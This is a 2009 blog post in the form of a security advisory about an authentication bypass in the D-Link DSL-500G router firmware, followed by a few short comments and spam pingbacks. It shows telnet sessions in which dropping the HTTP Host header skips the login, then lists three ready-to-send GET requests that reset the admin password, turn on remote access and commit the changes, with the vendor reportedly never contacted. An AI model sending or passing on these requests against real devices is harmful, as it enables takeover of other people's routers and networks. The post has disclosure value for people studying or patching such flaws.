D-LINK 500G Authentication Bypass

Posted: August 24th, 2009 | Author: | Filed under: IT Related | Tags: , , , | 4 Comments »

SUMMARY
There is an authentication bypass vulnerability in D-Link 500G that allows an attacker to take full control over the device. Remote access is disabled by default, so the attacker is required to be on the local network.
The bypass can be triggered sending a HTTP request without the HOST header.

$ telnet 192.168.0.1 80
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
GET / HTTP/1.1
Host: 192.168.0.1
Connection: close
 
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic Realm="DSL-500G"
Content-type: text/html
Content-length: 111
 
<html><head><title>401 Unauthorized Access</title></head><body><h1>401
Unauthorized Access</h1></body></html>
Connection closed by foreign host.
$ telnet 192.168.0.1 80
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
GET / HTTP/1.1
Connection: close
 
HTTP/1.1 302 Document Follows
Location: /hag/pages/home.ssi
 
Connection closed by foreign host.

AFFECTED PRODUCTS
Confirmed in D-Link 500G Firmware R2.01.B9.EU(030917a/T93.3.44).
Haven’t tested in other devices and version.

SOLUTION
The manufacturer has not been contacted. Don’t complain on me.

EXPLOIT

Reset the admin password: GET
/Action?cmdSubmit=Submit&ex_param1=admin&id=3&new_pass1=admin&new_pass2=admin&old_pass=admin&user=admin
HTTP/1.0
Enable remote access: GET /Action?cmdSubmit=Submit&remote=0&id=83
HTTP/1.0
Commit changes: GET /Action?cmdCommit=Commit&reboot_loc=0&id=4 HTTP/1.0

CREDITS
Discovered by Jardel Weyrich <jweyrich at gmail dot com>.


4 Comments on “D-LINK 500G Authentication Bypass”

  1. 1 farah said at 8:33 AM on August 25th, 2009:

    omg!

  2. 2 xanda said at 4:15 PM on August 25th, 2009:

    yerp.. eh yours 500G jugak ke?

  3. 3 Guarana Seed Powder 1.1lb | 500g 100% Pure & Factory Fresh said at 1:51 AM on September 14th, 2009:

    […] D-LINK 500G Authentication Bypass | Xanda's Blog !~! […]

  4. 4 Guarana Seed Powder 1.1lb | 500g 100% Pure & Factory Fresh | Super Foods and Super Fruits said at 1:51 AM on November 3rd, 2009:

    […] D-LINK 500G Authentication Bypass | Xanda's Blog !~! […]


Leave a Reply